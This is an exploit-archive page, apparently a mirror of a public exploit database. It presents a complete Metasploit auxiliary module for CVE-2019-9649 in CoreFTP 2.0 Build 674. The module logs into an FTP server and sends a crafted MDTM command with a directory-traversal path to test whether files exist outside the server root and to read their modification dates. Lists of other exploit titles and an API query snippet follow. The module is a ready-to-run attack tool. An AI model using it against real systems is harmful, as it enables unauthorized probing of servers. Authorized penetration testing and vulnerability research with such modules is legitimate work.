Now you can request a feature, improvement or collaborate with us.

Search for hundreds of thousands of exploits

"CoreFTP 2.0 Build 674 MDTM - Directory Traversal (Metasploit)"

Author

Exploit author

"Kevin Randall"

Platform

Exploit platform

windows

Release date

Exploit published date

2020-03-11

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  def proto
     'ftp'
  end
  def initialize
    super(
      'Name' => 'CVE-2019-9649 CoreFTP FTP Server Version 674 and below MDTM Directory Traversal',
      'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. Using the MDTM FTP command, a remote attacker can use a directory traversal (..\..\) to browse outside the root directory to determine the existence of a file on the operating system, and the last mofidied date.},
      'Author' => [ 'Kevin Randall' ],
      'License' => MSF_LICENSE,
      'References' =>
        [
           [ 'CVE', '2019-9649' ],
           [ 'BID', '107449' ],
           [ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
        ],
       'Disclosure Date:' =>  'March 13 2019'
    )
    register_options([
      Opt::RPORT(21),
      OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ),
      OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ),
      OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] )
    ])
  end
    def run_host(ip)
     print_status("Logging into FTP server now with supplied credentials")
     c = connect_login
     return if not c
     print_status("Performing exploitation of the MDTM command to enumerate files")
     path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME']
     res = send_cmd( ['MDTM', "C: ", path ], true, nsock = self.sock)
     data = res.to_s
     print_status("Performing analysis.... Please wait")
     if (data.include? "213" )
             print_good ("And the circle hits the square!")
             print_good ("File Exists. Here is the last modified date for the file:"+ data[4..-1])
       return res
     else
             print_error("Mission Failed We'll get them next time!")
             print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect")
       return res
     end
   end
 end
Release Date Title Type Platform Author
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
Release Date Title Type Platform Author
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2020-03-11 "CoreFTP 2.0 Build 674 MDTM - Directory Traversal (Metasploit)" remote windows "Kevin Randall"
2020-03-11 "CoreFTP 2.0 Build 674 SIZE - Directory Traversal (Metasploit)" remote windows "Kevin Randall"
2019-12-17 "Netgear R6400 - Remote Code Execution" webapps hardware "Kevin Randall"
2019-11-18 "Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal" webapps hardware "Kevin Randall"
2019-06-04 "DVD X Player 5.5 Pro - Local Buffer Overflow (SEH)" local windows "Kevin Randall"
2019-04-30 "Freefloat FTP Server 1.0 - 'STOR' Remote Buffer Overflow" remote windows "Kevin Randall"
2019-04-30 "Freefloat FTP Server 1.0 - 'SIZE' Remote Buffer Overflow" remote windows "Kevin Randall"
2019-03-26 "Titan FTP Server Version 2019 Build 3505 - Directory Traversal / Local File Inclusion" webapps windows "Kevin Randall"
2019-03-13 "Core FTP Server FTP / SFTP Server v2 Build 674 - 'SIZE' Directory Traversal" dos windows "Kevin Randall"
2019-03-13 "Core FTP Server FTP / SFTP Server v2 Build 674 - 'MDTM' Directory Traversal" dos windows "Kevin Randall"
2018-08-30 "DLink DIR-601 - Credential Disclosure" webapps hardware "Kevin Randall"
2018-04-02 "DLink DIR-601 - Admin Password Disclosure" webapps hardware "Kevin Randall"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48195/?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.